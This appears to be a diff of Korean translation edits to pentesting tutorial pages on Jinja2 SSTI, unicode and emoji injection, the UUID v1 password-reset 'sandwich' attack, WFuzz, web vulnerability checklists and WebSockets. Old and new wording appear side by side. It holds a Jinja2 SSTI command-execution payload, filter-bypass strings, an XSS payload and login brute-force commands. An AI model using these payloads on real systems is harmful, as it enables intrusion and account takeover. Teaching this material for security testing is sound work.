**객체 클래스**에 접근하려면 **클래스 객체**에 접근한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 접근해야 합니다. 그런 다음, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**합니다.
이 예제를 확인하세요:
```python
@ -128,7 +128,7 @@ dict.__mro__[-1]
**복구한 후** `<class 'object'>``__subclasses__`를 호출하면 이제 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
`__subclasses__` 호출을 통해 **수백 개의 새로운 함수에 접근할 수 있는 기회**를 얻었으며, 우리는 **파일 클래스**에 접근하여 **파일을 읽고/쓰는 것**이나 **명령을 실행할 수 있는** 클래스에 접근하는 것만으로도 기 것입니다 (예: `os`).
`__subclasses__` 호출을 통해 **수백 개의 새로운 함수에 접근할 수 있는 기회**를 얻었으며, 우리는 **파일 클래스**에 접근하여 **파일을 읽고/쓰는 것**이나 **명령을 실행할 수 있는** 클래스에 접근하는 것만으로도 기쁨을 느낄 것입니다 (예: `os`).
**원격 파일 읽기/쓰기**
```python
@ -159,7 +159,7 @@ dict.__mro__[-1]
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
더 많은 **클래스**를 사용하여 **탈출**하는 방법에 대해 **확인**하려면:
더 많은 **클래스**를 사용하여 **탈출**하는 방법 **확인**하려면:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -169,7 +169,7 @@ dict.__mro__[-1]
#### 일반적인 우회
이 우회는 **일부 문자**를 사용하지 않고도 객체의 **속성**에 **접근**할 수 있게 해줍니다.\
러한 우회는 **일부 문자**를 사용하지 않고도 객체의 **속성**에 **접근**할 수 있게 해줍니다.\
우리는 이미 이전 예제에서 이러한 우회 중 일부를 보았지만, 여기에서 요약해 보겠습니다:
```bash
# Without quotes, _, [, ]
@ -202,13 +202,13 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
- [**전역 객체에 접근할 수 있는 더 많은 옵션은 여기에서 확인하세요**](jinja2-ssti.md#accessing-global-objects)
- [**객체 클래스에 접근할 수 있는 더 많은 옵션은 여기에서 확인하세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**객체 클래스 없이 RCE를 얻으려면 이 내용을 읽어보세요**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
- [**전역 객체에 접근할 수 있는 더 많은 옵션은 여기로 돌아가세요**](jinja2-ssti.md#accessing-global-objects)
- [**객체 클래스에 접근할 수 있는 더 많은 옵션은 여기로 돌아가세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**객체 클래스 없이 RCE를 얻으려면 이 내용을 읽세요**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**HTML 인코딩 피하기**
기본적으로 Flask는 보안상의 이유로 템플릿 내부의 모든 내용을 HTML로 인코딩합니다:
기본적으로 Flask는 보안을 위해 템플릿 내부의 모든 내용을 HTML로 인코딩합니다:
```python
{{'<script>alert(1);</script>'}}
#will be
@ -319,7 +319,7 @@ crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## 참고 문헌
## 참고문헌
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- [여기에서 블랙리스트 문자 우회를 위한 attr 트릭 확인](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).

View File

@ -7,7 +7,7 @@
## Basic Information
타이밍 공격의 기본 목표는 기본적으로 **유사한 요청의 응답 시간 차이를 확인함으로써 복잡한 질문에 답하거나 숨겨진 기능을 감지하는 것**입니다.
타이밍 공격의 기본 목표는 기본적으로 **유사한 요청의 응답 시간 차이를 확인하여 복잡한 질문에 답하거나 숨겨진 기능을 감지하는 것**입니다.
전통적으로 이는 네트워크와 서버에서 발생하는 지연과 지터 때문에 매우 복잡했습니다. 그러나 [**Race Condition Single Packet attack**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)의 발견과 개선 이후, 이 기술을 사용하여 모든 네트워크 지연을 방정식에서 제거할 수 있게 되었습니다.\
서버 지연만 남기면 타이밍 공격을 발견하고 악용하기가 더 쉬워집니다.
@ -26,10 +26,10 @@
같은 연구에서 타이밍 기술이 "범위가 제한된 SSRF"를 발견하는 데 매우 유용하다고 공유되었습니다(이는 허용된 IP/도메인에만 접근할 수 있는 SSRF입니다). 허용된 도메인이 설정된 경우와 허용되지 않은 도메인이 설정된 경우의 **시간 차이를 확인하는 것**이 열려 있는 프록시를 발견하는 데 도움이 됩니다.
범위가 제한된 열린 프록시가 발견되면, 대상의 알려진 하위 도메인을 파싱하여 유효한 대상을 찾을 수 있었고, 이를 통해:
범위가 제한된 열린 프록시가 발견되면, 알려진 서브도메인을 파싱하여 유효한 대상을 찾을 수 있었고, 이를 통해:
- **열린 프록시**를 통해 인터넷이 아닌 제한된 하위 도메인에 접근하여 **방화벽을 우회**할 수 있습니다.
- 또한, **열린 프록시**를 악용하여 **내부에서만 접근 가능한 새로운 하위 도메인을 발견**할 수 있습니다.
- **열린 프록시**를 통해 인터넷이 아닌 제한된 서브도메인에 접근하여 **방화벽을 우회**할 수 있습니다.
- 또한, **열린 프록시**를 악용하여 **내부에서만 접근 가능한 새로운 서브도메인**을 발견할 수 있습니다.
- **프론트엔드 사칭 공격**: 프론트엔드 서버는 일반적으로 `X-Forwarded-For` 또는 `X-Real-IP`와 같은 백엔드용 헤더를 추가합니다. 이러한 헤더를 수신하는 열린 프록시는 요청된 엔드포인트에 이를 추가하므로, 공격자는 이러한 헤더를 화이트리스트된 값으로 추가하여 더 많은 내부 도메인에 접근할 수 있습니다.
## References

View File

@ -4,13 +4,13 @@
## 소개
백엔드/프론트엔드가 **이상한 유니코드 문자를 받을 때** 어떻게 동작하는지에 따라 공격자는 **보호를 우회하고 임의의 문자를 주입**할 수 있으며, 이는 XSS 또는 SQLi와 같은 **주입 취약점을 악용**하는 데 사용될 수 있습니다.
백엔드/프론트엔드가 **이상한 유니코드 문자를 수신할 때** 어떻게 동작하는지에 따라 공격자는 **보호를 우회하고 임의의 문자를 주입**할 수 있으며, 이는 XSS 또는 SQLi와 같은 **주입 취약점을 악용하는 데 사용될 수 있습니다**.
## 유니코드 정규화
유니코드 정규화는 **유니코드 문자가 ASCII 문자로 정규화될 때** 발생합니다.
이러한 유형의 취약점의 일반적인 시나리오는 시스템이 **확인한 후** 사용자의 **입력**을 **어떤 식으로든 수정**할 때 발생합니다. 예를 들어, 일부 언어에서는 **입력을 대문자 또는 소문자로** 만드는 간단한 호출이 주어진 입력을 정규화하고 **유니코드가 ASCII로 변환**되어 새로운 문자가 생성될 수 있습니다.\
이러한 유형의 취약점의 일반적인 시나리오는 시스템이 **검사한 후** 사용자 **입력을 어떤 식으로든 수정**할 때 발생합니다. 예를 들어, 일부 언어에서는 **입력을 대문자 또는 소문자로** 만드는 간단한 호출이 주어진 입력을 정규화하고 **유니코드가 ASCII로 변환**되어 새로운 문자가 생성될 수 있습니다.\
자세한 내용은 다음을 확인하세요:
{{#ref}}
@ -19,7 +19,7 @@ unicode-normalization.md
## `\u`에서 `%`
유니코드 문자는 일반적으로 **`\u` 접두사**로 표현됩니다. 예를 들어 문자 `㱋``\u3c4b`입니다([여기에서 확인](https://unicode-explorer.com/c/3c4B)). 만약 백엔드가 **`\u` 접두사를 `%`로 변환**하면, 결과 문자열은 `%3c4b`가 되며, URL 디코딩하면: **`<4b`**가 됩니다. 그리고, 보시다시피, **`<` 문자가 주입됩니다**.\
유니코드 문자는 일반적으로 **`\u` 접두사**로 표현됩니다. 예를 들어 문자 `㱋``\u3c4b`입니다([여기에서 확인](https://unicode-explorer.com/c/3c4B)). 만약 백엔드가 **`\u` 접두사를 `%`로 변환**하면, 결과 문자열은 `%3c4b`가 되며, URL 디코딩하면 **`<4b`**가 됩니다. 그리고, 보시다시피, **`<` 문자가 주입됩니다**.\
백엔드가 취약하다면 이 기술을 사용하여 **어떤 종류의 문자도 주입**할 수 있습니다.\
필요한 문자를 찾으려면 [https://unicode-explorer.com/](https://unicode-explorer.com/)를 확인하세요.
@ -27,10 +27,10 @@ unicode-normalization.md
## 이모지 주입
백엔드는 **이모지를 받을 때** 이상하게 동작하는 경우가 있습니다. 연구자가 `💋img src=x onerror=alert(document.domain)//💛`와 같은 페이로드로 XSS를 달성한 [**이 **](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)에서 발생한 일입니다.
백엔드는 **이모지를 수신할 때** 이상하게 동작합니다. 연구자가 `💋img src=x onerror=alert(document.domain)//💛`와 같은 페이로드로 XSS를 달성한 [**이 보고서**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)에서 발생한 일입니다.
이 경우, 서버가 악성 문자를 제거한 후 **Windows-1252에서 UTF-8로 UTF-8 문자열을 변환**했기 때문에 오류가 발생했습니다(기본적으로 입력 인코딩과 변환 인코딩이 불일치했습니다). 그러면 이는 적절한 < 제공하지 않고 이상한 유니코드 문자 `` 제공합니다.\
``그래서 그들은 이 출력을 가져와서 **이제 UTF-8에서 ASCII로 다시 변환**했습니다. 이렇게 하면 ``가 ` < `로 **정규화**되었고, 이것이 그 시스템에서 익스플로잇이 작동할 수 있는 방법입니다.\
``그래서 그들은 이 출력을 가져와서 **이제 UTF-8에서 ASCII로 다시 변환**했습니다. 이렇게 하면 ``가 `<`로 **정규화**되어 이 시스템에서 익스플로잇이 작동할 수 있었습니다.\
이것이 발생한 일입니다:
```php
<?php

View File

@ -8,16 +8,16 @@
유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
1. **정 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정준 동등하다고 간주됩니다.
1. **정 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규 동등한 것으로 간주됩니다.
2. **호환성 동등성**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
### 유니코드 인코딩에 대한 주요 사항
유니코드 인코딩을 이해하는 것은 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 특히 중요합니다. 주요 사항은 다음과 같습니다:
- **코드 포인트 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
- **코드 포인트 문자**: 유니코드에서 각 문자 또는 기호는 "코드 포인트"라고 하는 숫자 값이 할당됩니다.
- **바이트 표현**: 코드 포인트(또는 문자)는 메모리에서 하나 이상의 바이트로 표현됩니다. 예를 들어, LATIN-1 문자는(영어 사용 국가에서 일반적) 하나의 바이트를 사용하여 표현됩니다. 그러나 더 많은 문자 집합을 가진 언어는 표현을 위해 더 많은 바이트가 필요합니다.
- **인코딩**: 이 용어는 문자가 일련의 바이트로 변환되는 방식을 나타냅니다. UTF-8은 ASCII 문자가 하나의 바이트로 표현되고, 다른 문자는 최대 네 개의 바이트로 표현되는 일반적인 인코딩 표준입니다.
- **데이터 처리**: 데이터를 처리하는 시스템은 바이트 스트림을 문자로 올바르게 변환하기 위해 사용된 인코딩을 인식해야 합니다.
@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 발견하기
웹앱에서 반환되는 값을 찾을 수 있다면, **KELVIN SIGN (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
웹앱에서 반환되는 값을 찾을 수 있다면, **KELVIN SIGN (U+0212A)**을 보내보세요. 이는 **"K"로 정규화**됩니다 (이를 `%e2%84%aa`로 보낼 수 있습니다). **"K"가 반환된다면**, 어떤 종류의 **유니코드 정규화**가 수행되고 있는 것입니다.
다른 **예시**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`**유니코드** 후에 `Leonishan`입니다.
@ -43,7 +43,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
사용자 입력으로 SQL 쿼리를 생성하는 데 문자 `'`를 사용하는 웹 페이지를 상상해 보세요. 이 웹은 보안 조치로 사용자 입력에서 문자 **`'`**의 모든 발생을 **삭제**하지만, **그 삭제 후**와 **쿼리 생성 전**에 사용자 입력을 **유니코드**로 **정규화**합니다.
렇다면, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
런 다음, 악의적인 사용자는 `' (0x27)`에 해당하는 다른 유니코드 문자 `%ef%bc%87`을 삽입할 수 있습니다. 입력이 정규화되면 단일 인용부호가 생성되고 **SQL 인젝션 취약점**이 발생합니다:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -79,7 +79,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### XSS (교차 사이트 스크립팅)
웹앱을 속이고 XSS를 악용하기 위해 다음 문자 중 하나를 사용할 수 있습니다:
다음 문자 중 하나를 사용하여 웹앱을 속이고 XSS를 악용할 수 있습니다:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
@ -89,9 +89,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 퍼징 정규 표현식
백엔드가 **정규 표현식으로 사용자 입력을 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
백엔드가 **사용자 입력을 정규 표현식으로 확인할 때**, **입력**이 **정규 표현식**에 대해 **정규화**되지만 **사용되는 곳**에 대해서는 **정규화되지 않을** 수 있습니다. 예를 들어, Open Redirect 또는 SSRF에서 정규 표현식이 **전송된 URL을 정규화**할 수 있지만, 그 후 **있는 그대로 접근**할 수 있습니다.
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
도구 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\*는 백엔드를 퍼징하기 위해 **입력의 변형을 생성**할 수 있게 해줍니다. 더 많은 정보는 **github**와 이 [**게시물**](https://0xacb.com/2022/11/21/recollapse/)을 확인하세요.
## 참고 문헌

View File

@ -23,7 +23,7 @@ UUID는 고유하고 **추측하기 어렵도록 설계되었습니다**. 이들
## 샌드위치 공격
"샌드위치 공격"은 **웹 애플리케이션에서 UUID v1 생성의 예측 가능성을 악용하는 특정 유형의 공격**입니다. 특히 비밀번호 재설정과 같은 기능에서 그렇습니다. UUID v1은 시간, 클록 시퀀스 및 노드의 MAC 주소를 기반으로 생성되므로 공격자가 이러한 UUID 중 일부를 시간에 가깝게 얻을 수 있다면 다소 예측 가능할 수 있습니다.
"샌드위치 공격"은 **웹 애플리케이션에서 UUID v1 생성의 예측 가능성을 악용하는 특정 유형의 공격**입니다. 특히 비밀번호 재설정과 같은 기능에서 그렇습니다. UUID v1은 시간, 클록 시퀀스 및 노드의 MAC 주소를 기반으로 생성되므로 공격자가 이러한 UUID 중 일부를 시간에 가까운 시점에서 얻을 수 있다면 다소 예측 가능할 수 있습니다.
### 예시
@ -37,19 +37,19 @@ UUID v1을 사용하여 비밀번호 재설정 링크를 생성하는 웹 애플
2. **실행**:
- 공격자는 첫 번째 계정 (\`attacker1@acme.com\`)에 대한 비밀번호 재설정을 트리거하고 UUID가 포함된 비밀번호 재설정 링크를 받습니다. 예를 들어 \`99874128-7592-11e9-8201-bb2f15014a14\`입니다.
- 그 직후, 공격자는 피해자의 계정 (\`victim@acme.com\`)에 대한 비밀번호 재설정을 트리거하고, 그 다음 빠르게 두 번째 공격자 제어 계정 (\`attacker2@acme.com\`)에 대해 트리거합니다.
- 그 직후, 공격자는 피해자의 계정 (\`victim@acme.com\`)에 대한 비밀번호 재설정을 트리거하고, 이어서 두 번째 공격자 제어 계정 (\`attacker2@acme.com\`)에 대해 신속하게 트리거합니다.
- 공격자는 두 번째 계정에 대한 재설정 링크를 UUID와 함께 받습니다. 예를 들어 \`998796b4-7592-11e9-8201-bb2f15014a14\`입니다.
3. **분석**:
- 공격자는 이제 시간에 가깝게 생성된 두 개의 UUID (\`99874128\` 및 \`998796b4\`)를 가지고 있습니다. 시간 기반 UUID의 순차적 특성을 고려할 때, 피해자의 계정에 대한 UUID는 이 두 값 사이에 있을 가능성이 높습니다.
- 공격자는 이제 시간에 가까운 두 개의 UUID (\`99874128\` 및 \`998796b4\`)를 가지고 있습니다. 시간 기반 UUID의 순차적 특성을 고려할 때, 피해자의 계정에 대한 UUID는 이 두 값 사이에 있을 가능성이 높습니다.
4. **무차별 대입 공격**:
4. **무차별 대입 공격:**
- 공격자는 이 두 값 사이의 UUID를 생성하는 도구를 사용하고, 생성된 각 UUID를 비밀번호 재설정 링크에 접근하려고 시도하여 테스트합니다 (예: \`https://www.acme.com/reset/\<generated-UUID>\`).
- 웹 애플리케이션이 이러한 시도를 적절히 속도 제한하거나 차단하지 않으면, 공격자는 범위 내의 모든 가능한 UUID를 빠르게 테스트할 수 있습니다.
- 공격자는 이 두 값 사이의 UUID를 생성하는 도구를 사용하고, 생성된 각 UUID를 비밀번호 재설정 링크에 접근하여 테스트합니다 (예: \`https://www.acme.com/reset/\<generated-UUID>\`).
- 웹 애플리케이션이 이러한 시도를 적절히 속도 제한하거나 차단하지 않으면, 공격자는 범위 내의 모든 가능한 UUID를 신속하게 테스트할 수 있습니다.
5. **접근 획득**:
5. **접근 획득:**
- 피해자의 비밀번호 재설정 링크에 대한 올바른 UUID가 발견되면, 공격자는 피해자의 비밀번호를 재설정하고 그들의 계정에 무단으로 접근할 수 있습니다.

View File

@ -1,4 +1,4 @@
# Web Tool - WFuzz
# 웹 도구 - WFuzz
{{#include ../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
> [Wfuzz](https://github.com/xmendez/wfuzz)는 웹 애플리케이션 평가 작업을 용이하게 하기 위해 만들어졌으며, 간단한 개념에 기반합니다: FUZZ 키워드에 대한 모든 참조를 주어진 페이로드의 값으로 대체합니다.
## Installation
## 설치
Kali에 설치됨
@ -64,7 +64,7 @@ wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHP
```
### Bruteforce Directory/RESTful bruteforce
[Arjun parameters wordlist](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
[Arjun 매개변수 단어 목록](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```

View File

@ -22,7 +22,7 @@
> [!NOTE]
> 대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
> 데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
> 데이터의 구조에 따라 서버가 기대하는 경우 일부 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
### **반사된 값**
@ -31,7 +31,7 @@
- [ ] [**클라이언트 측 템플릿 주입**](client-side-template-injection-csti.md)
- [ ] [**명령 주입**](command-injection.md)
- [ ] [**CRLF**](crlf-0d-0a.md)
- [ ] [**덩글링 마크업**](dangling-markup-html-scriptless-injection/)
- [ ] [**덩어리 마크업**](dangling-markup-html-scriptless-injection/)
- [ ] [**파일 포함/경로 탐색**](file-inclusion/)
- [ ] [**열린 리다이렉트**](open-redirect.md)
- [ ] [**프로토타입 오염을 통한 XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
@ -93,7 +93,7 @@ pocs-and-polygloths-cheatsheet/
### **구조화된 객체 / 특정 기능**
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 종류의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 유형의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 **특정 기능**은 **특정 형식의 입력이 사용될 경우** 취약할 수 있습니다 (예: 이메일 헤더 주입).
- [ ] [**역직렬화**](deserialization/)

View File

@ -31,9 +31,9 @@
- [ ] [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)
- [ ] [**명령 주입**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**덩어리 마크업**](../dangling-markup-html-scriptless-injection/)
- [ ] [**덩글링 마크업**](../dangling-markup-html-scriptless-injection/)
- [ ] [**파일 포함/경로 탐색**](../file-inclusion/)
- [ ] [**열린 리다이렉트**](../open-redirect.md)
- [ ] [**오픈 리다이렉트**](../open-redirect.md)
- [ ] [**프로토타입 오염을 통한 XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- [ ] [**서버 측 포함/엣지 측 포함**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**서버 측 요청 위조**](../ssrf-server-side-request-forgery/)
@ -61,9 +61,9 @@
- [ ] [**SQL 주입**](../sql-injection/)
- [ ] [**XPATH 주입**](../xpath-injection.md)
### **양식, 웹소켓 및 PostMsg**
### **, 웹소켓 및 PostMsg**
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 양식이 있을 때 취약점이 발생할 수 있습니다.
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 이 있을 때 취약점이 발생할 수 있습니다.
- [ ] [**교차 사이트 요청 위조**](../csrf-cross-site-request-forgery.md)
- [ ] [**교차 사이트 웹소켓 탈취 (CSWSH)**](../websocket-attacks.md)
@ -80,7 +80,7 @@
### **우회**
일부 특정 기능에서는 우회할 수 있는 몇 가지 해결 방법이 유용할 수 있습니다.
일부 특정 기능에서는 우회하는 데 유용할 수 있는 여러 가지 해결 방법이 있습니다.
- [ ] [**2FA/OTP 우회**](../2fa-bypass.md)
- [ ] [**결제 프로세스 우회**](../bypass-payment-process.md)
@ -105,7 +105,7 @@
파일 업로드를 허용하는 기능은 여러 문제에 취약할 수 있습니다.\
사용자 입력을 포함한 파일을 생성하는 기능은 예기치 않은 코드를 실행할 수 있습니다.\
사용자가 업로드한 파일이나 사용자 입력을 포함한 자동 생성된 파일을 열면 위험에 처할 수 있습니다.
사용자가 업로드한 파일이나 사용자 입력을 포함하여 자동으로 생성된 파일을 열면 위험에 처할 수 있습니다.
- [ ] [**파일 업로드**](../file-upload/)
- [ ] [**수식 주입**](../formula-csv-doc-latex-ghostscript-injection.md)

View File

@ -4,7 +4,7 @@
## WebSocket이란 무엇인가
WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며, **장기 지속**을 위해 설계되어 언제든지 양방향 메시징이 가능하게 하여 거래 시스템이 필요하지 않습니다. 이는 WebSocket이 실시간 금융 데이터 스트림과 같은 **저지연 또는 서버 시작 통신**이 필요한 애플리케이션에 특히 유리하게 만듭니다.
WebSocket 연결은 초기 **HTTP** 핸드셰이크를 통해 설정되며, **장기 지속**을 위해 설계되어 언제든지 양방향 메시징이 가능하게 하여 거래 시스템이 필요하지 않습니다. 이는 WebSocket이 실시간 금융 데이터 스트림과 같은 **저지연 또는 서버 시작 통신**을 요구하는 애플리케이션에 특히 유리하게 만듭니다.
### WebSocket 연결의 설정
@ -14,7 +14,7 @@ var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss` 프로토콜은 **TLS**로 보호된 WebSocket 연결을 의미하며, `ws`는 **보안되지 않은** 연결을 나타냅니다.
연결 설정 중에 브라우저와 서버 간에 HTTP를 통 핸드셰이크가 수행됩니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 것으로 구성되며, 다음 예시에서 설명됩니다:
연결 설정 중에 브라우저와 서버 간에 HTTP를 통 핸드셰이크가 수행됩니다. 핸드셰이크 과정은 브라우저가 요청을 보내고 서버가 응답하는 것으로 구성되며, 다음 예시에서 설명됩니다:
브라우저가 핸드셰이크 요청을 보냅니다:
```javascript
@ -39,7 +39,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
- `Connection``Upgrade` 헤더는 WebSocket 핸드셰이크의 시작을 알립니다.
- `Sec-WebSocket-Version` 헤더는 원하는 WebSocket 프로토콜 버전을 나타내며, 일반적으로 `13`입니다.
- Base64로 인코딩된 임의 값이 `Sec-WebSocket-Key` 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시와 관련된 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
- Base64로 인코딩된 임의 값이 `Sec-WebSocket-Key` 헤더에 전송되어 각 핸드셰이크가 고유하도록 보장하며, 이는 캐싱 프록시 문제를 방지하는 데 도움이 됩니다. 이 값은 인증을 위한 것이 아니라 응답이 잘못 구성된 서버나 캐시에서 생성되지 않았음을 확인하기 위한 것입니다.
- 서버의 응답에 있는 `Sec-WebSocket-Accept` 헤더는 `Sec-WebSocket-Key`의 해시로, WebSocket 연결을 열려는 서버의 의도를 검증합니다.
이러한 기능은 핸드셰이크 프로세스가 안전하고 신뢰할 수 있도록 보장하여 효율적인 실시간 통신을 위한 길을 열어줍니다.
@ -50,7 +50,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
웹소 서버를 생성하려면:
웹소 서버를 생성하려면:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
@ -72,11 +72,11 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"의 약자로, Node.js로 작성된 이 도구는 클라이언트와 서버 간의 모든 WebSocket 및 Socket.IO 통신을 **캡처, 가로채기, 사용자 정의** 메시지를 전송하고 볼 수 있는 사용자 인터페이스를 제공합니다.
- [**wsrepl**](https://github.com/doyensec/wsrepl)는 침투 테스트를 위해 특별히 설계된 **대화형 웹소켓 REPL**입니다. 이는 **들어오는 웹소켓 메시지를 관찰하고 새로운 메시지를 전송**할 수 있는 인터페이스를 제공하며, 이 통신을 **자동화**하기 위한 사용하기 쉬운 프레임워크를 제공합니다.&#x20;
- [**https://websocketking.com/**](https://websocketking.com/)는 **웹소켓**을 사용하여 다른 웹과 **통신**하는 **웹**입니다.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 다양한 통신/프로토콜 중에서, **웹소켓**을 사용하여 다른 웹과 **통신**하는 **웹**을 제공합니다.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)는 다른 유형의 통신/프로토콜 중에서 **웹소켓**을 사용하여 다른 웹과 **통신**하는 **웹**을 제공합니다.
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)에서 웹소켓을 사용하여 웹을 시작하는 코드를 찾을 수 있으며, [**이 게시물**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)에서 설명을 찾을 수 있습니다.
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)에서 웹소켓을 사용하여 웹을 시작하는 코드를 제공하며, [**이 게시물**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)에서 설명을 찾을 수 있습니다.
## Cross-site WebSocket hijacking (CSWSH)
@ -86,9 +86,9 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
### Simple Attack
